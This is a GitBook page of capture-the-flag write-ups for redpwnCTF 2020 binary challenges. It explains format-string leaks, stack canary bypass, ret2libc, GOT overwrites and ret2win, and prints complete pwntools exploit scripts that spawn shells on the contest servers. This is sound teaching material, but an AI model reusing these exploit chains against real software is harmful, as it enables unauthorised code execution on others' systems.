arrow-left

All pages
gitbookPowered by GitBook
1 of 6

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Secret Flag

From the desc we know it's a format string. There's no symbol for main, so i opened it up in radare2.

It opens mallocs a heap address, stores it on the stack, opens flag.txt, and reads it to that heap address. We can use the format specifier %s to read the flag by referencing this heap address.

I didn't bother actually calculating the offset and just bruteforced it.

from pwn import *
for i in range(30):
    tosend = f"%{i}$s"
    p = remote('2020.redpwnc.tf', 31826)
    p.recvlines(2)
    p.sendline(tosend)
    try:
        print(p.recvline())
    except:
        pass
    p.close()

Skywriting

There's a lot of unnecessary bloat that I'll mostly ignore.

Cracking open the binary in ghidra, we see that the first input we get is actually a scanf, scanning a decimal integer into a variable. It then checks this integer against 1. If the integer isn't 1, it pops a shell - zsh. Nothing happens remotely, likely they do not have zsh. So that's not very useful.

What happens if the integer is 1? It continues with the rest of the execution of the program. The program opens up a never-ending prompt in which it asks for an input. If the input is the same as notflag{a_cloud_is_just_someone_elses_computer}\n when strcmp-ed,the program tells us we did it and rets. This will be useful later on to deliver our final exploit.

In the prompt, 0x200 bytes are read into rbp-0x90, creating a clear buffer overflow vulnerability.

Sadly, however, every protection is on. Canary, RELRO, PIE and most likely ASLR. We're going to need to leak somehow.. but how?

The read function does not null terminate. That means our input will not be null terminated as a string unless we enter a null byte. Not only this, but the program calls printf("%s??", input), printing the input back to us. Printf will only know the end of a string once it hits a null byte, meaning we can leak values off of the stack!

For example, say this was the stack

00 00 00 00 00 00 00 00 00 \

we could write like so

41 41 41 41 41 41 41 41 0a \

now, when it prints, it'll keep printing, leaking the canary and saved RBP .fini address.

NOTE: Canaries start with null bytes! We will have to overflow one byte of the canary so that we can read the rest. It doesn't matter that we overflow the canary until we make the program ret, but by then we will know what the full canary is and be able to replace it.

We can use this again to leak the saved ret address, which will be __libc_start_main_ret.

Once all these values are leaked, we send the finished exploit. notflag{a_cloud_is_just_someone_elses_computer}\n\x00 + padding + canary + more padding + poprdi + /bin/sh address + retgadget + systemaddress

NOTE: We can leak the binary base through the .fini address. We don't strictly need it here, as libc has ROP gadgets, but it's useful.

from pwn import *
mode = sys.argv[1]
NUM_TO_CANARY = 0x90 - 0x8
NUM_TO_RET = NUM_TO_CANARY+16
retgadget  = 0x000000000000078e # ret
poprdi = 0x0000000000000bd3 # pop rdi ; ret
e = ELF("./sky")
def getproc():
    if mode == 'local':
        return e.process()
    else:
        return remote('2020.redpwnc.tf', 31034)
def setup():
    p = getproc()
    p.recvline()
    p.sendline("1")
    p.recvuntil("shot: ")
    return p 
def getoutput(data):
    global p
    p.sendline(data)
    p.recvuntil(data + b'\n')
    output = p.recvuntil("??")[:-2]
    p.recvuntil("shot: ")
    return output
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" if mode == 'local' else "/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
p = setup()
#Leak canary and binary base
libret = 0x21b97 if mode == 'remote' else 0x26e0b
leak = getoutput(b"A" * (NUM_TO_CANARY))
canary = u64(b'\x00' + leak[:7])
log.info(f"Canary: {hex(canary)}")
pause()
fini = u64(leak[7:] + b'\x00\x00')
e.address = fini - 0xb70
log.info(f"Binary base: {hex(e.address)}")
#Leak libc base by leaking the libc start main ret
leak2 = getoutput(b"A" * (NUM_TO_RET-1))
libret_leak = u64(leak2 + b'\x00\x00')
log.info(f"Libc start main ret: {hex(libret_leak)}")
libcbase = libret_leak - libret
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
retgadget += e.address
poprdi += e.address
# Everything has been leaked. Develop the final payload.
final =  flat(canary,b'C'*8,poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'],word_size=64)
padding = b"notflag{a_cloud_is_just_someone_elses_computer}\n\x00"
padding += b'B' * (NUM_TO_CANARY - len(padding))
p.sendline(padding + final)
p.interactive()

The Library

So, from the name and desc, as well as the fact you're provided with the libc binary, we know this is a ret2libc right off the bat. Inspecting the source code, we can see the read function is called into a 16-byte array, reading 0x100 bytes from stdin. This opens up a lot of room for overflow.

The array is stored at rbp-0x10, leaving 24 bytes of padding until our ROP chain.

We can use ret2plt to leak a libc address by calling the libc function puts via the PLT on the puts entry in the GOT, effectively printing a libc address back to ourselves. This works because there's no PIE in the binary, so the GOT and the PLT are stable.

So, we can first send padding + poprdi + puts@got + puts@plt + main so that the program calls puts on puts@got, sending us a libc address, and then rets back into main so we can get another input. On this second input, now that we know exactly where the libc is and have defeated ASLR, we send padding + poprdi + /bin/sh address + ret gadget + system address. This forces the program to call system("/bin/sh"), popping a shell for us. The ret gadget is needed to fix stack alignment.

from pwn import *
import sys 
mode = sys.argv[1]
NUM_TO_RET = 0x10 + 8
padding = b'A' * NUM_TO_RET
poprdi = 0x0000000000400733 # pop rdi ; ret
retgadget = 0x0000000000400506 # ret
e = ELF("./library")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" if mode == 'local' else './libc.so.6')
p = e.process() if mode == 'local' else remote('2020.redpwnc.tf', 31350)
p.recvline()
leak = flat(padding, poprdi, e.got['puts'], e.plt['puts'], e.symbols['main'], word_size=64)
p.sendline(leak)
p.recvlines(2)
output = p.recvline()[:-1] + b'\x00\x00'
puts = u64(output)
log.info(f"Puts address leak:  {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
p.recvline()
final = flat(padding,poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'],word_size=64)
p.sendline(final)
p.interactive()

Dead Canary

First things first: let's run checksec. There's Partial RELRO, and no PIE. This opens a bundle of attacks, but for now let's not comment on that.

Running the program, we get one input. Spamming lots of chars, we get a stack smashing error. That means a canary.

Opening it up in radare2, we can inspect the "hidden" main function. We see it reads 0x120 bytes into rbp-0x110. Buffer overflow? Kinda, but I didn't use it except to trigger a canary mismatch.

Most importantly, it calls printf on our input directly, opening a range of format string attacks. The first thing that pops into mind is a format string overwrite, but what to overwrite? The only libc function called after our input is printf-ed is __stack_chk_fail, but that's only called if there's a canary mismatch.

Our goal? Overwrite __stack_chk_fail@GOT with the address of main, then trigger a canary mismatch. Everytime the canary mismatches, it'll try to call stack chk fail, but instead it'll just call main again. This gives us infinite calls of main, so we can do whatever we want with format strings including writing and reading before we deliver the final exploit.

I cut my exploit in 4 stages.

  • Stage 1: Overwrite __stack_chk_fail@got with the address of main. Trigger canary mismatch, main will call again

  • Stage 2: Leak __libc_start_main_ret using %77%lp. Make sure to trigger canary mismatch in order to call main again

  • Stage 3: Calculate libc base. Overwrite printf@GOT with system@libc. Trigger canary mismatch for the final time.

Note: remotely, for some reason, the shell is really unstable? After one command it breaks and disconnects. Still some form of temporary shell though, enough to cat flag.txt.

Stage 4: Enter /bin/sh. The program will attempt to call printf("/bin/sh"), actually calling system("/bin/sh"), popping a shell.

from pwn import *
import sys
context.arch = 'amd64'
NUM_TO_CANARY = 265
mode = sys.argv[1]
fini = 0x0000000000600e18
main = 0x00400737
e = ELF("./canary")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" if mode == 'local' else '/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6')
def getproc():
    if mode == 'remote':
        return remote('2020.redpwnc.tf',31744)
    else:
        return e.process()
def canarypad(data):
    return data + b'A' * (NUM_TO_CANARY - len(data)) + p64(0x13371337)
def write_fmt(data):
    p = getproc()
    p.recvuntil(": ")
    p.sendline(data)
    p.recvuntil("Hello ")
    output = p.recv()
    p.close()
    return output
libret = 0x21b97 if mode == 'remote' else 0x26e0b

auto = FmtStr(execute_fmt = write_fmt)
writes = {e.got['__stack_chk_fail']: main}
# Stage 1: overwrite __stack_chk_fail
first = fmtstr.fmtstr_payload(auto.offset,writes)
p = getproc()
first = canarypad(first)
p.sendline(first)
p.recvuntil("name: ")
# Stage 2: leak libc address
leak = b"%77$lp."
leak = canarypad(leak)
p.sendline(leak)
p.recvuntil("Hello 0x")
# Stage 3.1: Calculate base
response = int(p.recv().decode().split(".")[0],16)
libcbase = response - libret
log.info(f"Libc start main ret leak: {hex(response)}")
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
p.clean()
# Stage 3.2 : overwrite printf with system
new_writes = {e.got['printf']: libc.symbols['system']}
final = fmtstr.fmtstr_payload(auto.offset,new_writes)
p.sendline(canarypad(final))
# Stage 4: Send /bin/sh
p.sendline("/bin/sh")
p.interactive()

Pwn

Coffer Overflow

hashtag
Coffer Overflow 0

Read source, there's a code var.

It's set to 0. At the end, if it's not 0, a shell is popped.

Pretty simple chall, just spam chars and a shell pops, cat flag.txt

hashtag
Coffer Overflow 1

Same thing, except code must be 0xcafebabe.

Let's disassemble main, we'll find the difference between our input(rbp-0x20) and the var(rbp-0x8) is 24 bytes, so send 24 bytes + p64(0xcafebabe)

hashtag
Coffer Overflow 2

ret2win exploit. There's a function called binFunction.

Our input is at rbp-0x10, so 0x10 + 8 bytes until return address.

Overwrite return address with address of binFunction, which pops a shell.

from pwn import *
#p = process("./over0")
p = remote('2020.redpwnc.tf', 31255)
NUM_TO_VAR = 24
payload = b'A' * NUM_TO_VAR + p64(0xcafebabe)
p.sendline(payload)
p.interactive()
from pwn import *
e = ELF("./over2")
NUM_TO_RET = 0x10 + 8
padding = b'A' * NUM_TO_RET
retgadget =  0x000000000040053e # ret
payload = flat(padding, retgadget, e.symbols['binFunction'], word_size=64)
#p = e.process()
p = remote('2020.redpwnc.tf', 31908)
p.sendline(payload)
p.interactive()